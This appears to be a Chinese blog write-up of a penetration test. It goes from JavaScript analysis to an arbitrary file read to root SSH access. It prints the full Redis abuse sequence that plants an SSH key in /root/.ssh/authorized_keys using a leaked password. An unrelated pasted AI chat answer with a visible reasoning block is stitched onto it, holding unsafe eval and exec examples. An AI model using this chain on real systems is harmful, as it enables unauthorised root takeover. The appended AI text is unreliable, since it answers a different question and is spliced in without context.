分析Js到GetShell

本文通过一个具体案例展示了如何在测试过程中发现并利用系统漏洞,包括利用F12全局搜索发现潜在接口、使用burp抓包分析、利用x8FUZZ工具进行参数测试、读取敏感文件内容、发现并利用SSH端口及密钥登录方式、通过Redis进行权限提升等步骤。

声明 

   免责声明:本文为个人作品,只做技术研究,只可用于正常的技术交流与学习,不可用于灰黑产业,不可从事违法犯罪行,严禁利用本文所介绍的技术进行未授权的恶意攻击,否则,后果自负!!!

测试某系统,常规的功能点完后,发现没有什么有价值的洞,

F12 全局搜索 download 发现一处get接口

 使用burp访问发现500错误,应该是缺少参数

 使用x8 FUZZ参数

两秒之后 就出结果,发现存在path 参数

 访问之,提示文件不存在,有戏

尝试访问 etc/passwd,成功读取

 

读root用户的hisotry,发现开了10022 作为ssh端口

开启了 密钥登陆

 存在redis

 

读取redis密码

 

nmap发现6379也是开放,既然是root账户 直接 写个ssh公钥进去

 


ssh-keygen -t rsa
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > /tmp/key.txt
cat key.txt|redis-cli -h xxx.xx.xx.xx -a 'Pxxx3' -x set crack

# 链接redis
redis-cli -h xxx.xx -a 'Paxxxx123'


#获取redis备份的路径
CONFIG GET dir  # 截图忘记

#更改redis备份路径
CONFIG SET dir /root/.ssh

#设置备份文件的名称为authorized_keys
CONFIG SET dbfilename authorized_keys

#检查是否更改
CONFIG GET dbfilename
# 保存
save

 ssh -p10022 root@xxx.xxx.xxx 成功链接

 

 

<think>好的,用户现在在询问Vue.js中获取shell权限的方法或漏洞利用。我需要仔细分析这个问题,确保回答准确且不误导用户。 首先,用户可能对Vue.js的安全机制不太了解,误以为Vue.js本身可能存在直接获取shell权限的漏洞。Vue.js是一个前端框架,主要用于构建用户界面,它运行在客户端浏览器中,本身并不直接处理服务器端权限或系统shell访问。因此,直接通过Vue.js获取shell权限的可能性极低,除非存在其他服务器端或构建工具链的漏洞。 接下来,我需要检查用户提供的引用内容。引用[1]、[2]提到了npm和webpack的安装,引用[3]涉及前端操作DOM获取隐藏输入值,引用[4]讨论了密码认证机制。这些引用中并没有提到Vue.js本身有获取shell权限的漏洞,反而更多涉及构建工具和系统安全。因此,用户的疑问可能源于对Vue.js生态中其他环节的误解,比如构建工具配置不当或服务器端漏洞。 然后,需要考虑用户可能的真实需求。用户可能在寻找如何通过前端漏洞执行系统命令,但需要明确告知这在常规情况下几乎不可能,除非存在严重的配置错误或第三方依赖漏洞。例如,如果开发者在Vue项目中使用了不安全的Node.js包,或者在服务器端未正确过滤输入,可能导致RCE漏洞。此外,构建工具如webpack的配置错误也可能引入风险,但这不是Vue.js本身的问题。 还需要提醒用户安全实践的重要性,比如避免使用危险函数如eval(), sanitize用户输入,定期更新依赖等。同时,要引导用户正确区分前端与后端的安全责任,避免混淆。 最后,生成相关问题时要围绕Vue.js安全、前端漏洞防护、构建工具安全等方面,帮助用户扩展相关知识,确保他们理解安全问题的实际来源和防护措施。</think>针对您提出的问题,需要明确以下技术边界和安全规范: ### 技术边界澄清 1. **Vue.js 前端框架特性** Vue.js 是纯前端JavaScript框架,运行在浏览器沙箱环境中,**不具备直接访问操作系统shell的权限**。浏览器安全机制(如CORS、同源策略)严格限制前端代码与本地系统的交互[^4]。 2. **漏洞利用可能性分析** - **常规场景**:Vue单页应用通过API与后端交互,若后端存在远程代码执行(RCE)漏洞,才可能间接实现系统命令执行 - **特殊攻击面**:构建工具链(如webpack、vue-cli)若存在配置错误,可能通过恶意npm包触发攻击。例如: ```bash # 恶意npm包可能通过postinstall脚本执行系统命令 npm install malicious-package ``` 引用[1][2]中的工具链需严格验证来源[^1][^2] ### 安全防护建议 1. **输入过滤** 对`v-model`绑定的输入值使用消毒库: ```javascript // 使用DOMPurify防止XSS import DOMPurify from 'dompurify'; this.cleanInput = DOMPurify.sanitize(rawInput); ``` 2. **依赖管理** 使用`npm audit`定期检查依赖: ```bash npm audit --production ``` 3. **服务端防护** 在Node.js后端使用参数化查询: ```javascript const { exec } = require('child_process'); exec('ls ' + userInput); // 高危!应严格过滤userInput ``` ### 典型漏洞场景 ```javascript // 危险示例:通过eval执行用户输入 methods: { unsafeEval() { const cmd = this.userInput; eval(cmd); // 绝对禁止在前端使用 } } ``` 此类代码可能通过DOM操作间接触发XSS,但无法突破浏览器沙箱[^3][^4]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

pyth0nn

送人玫瑰,手留余香

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值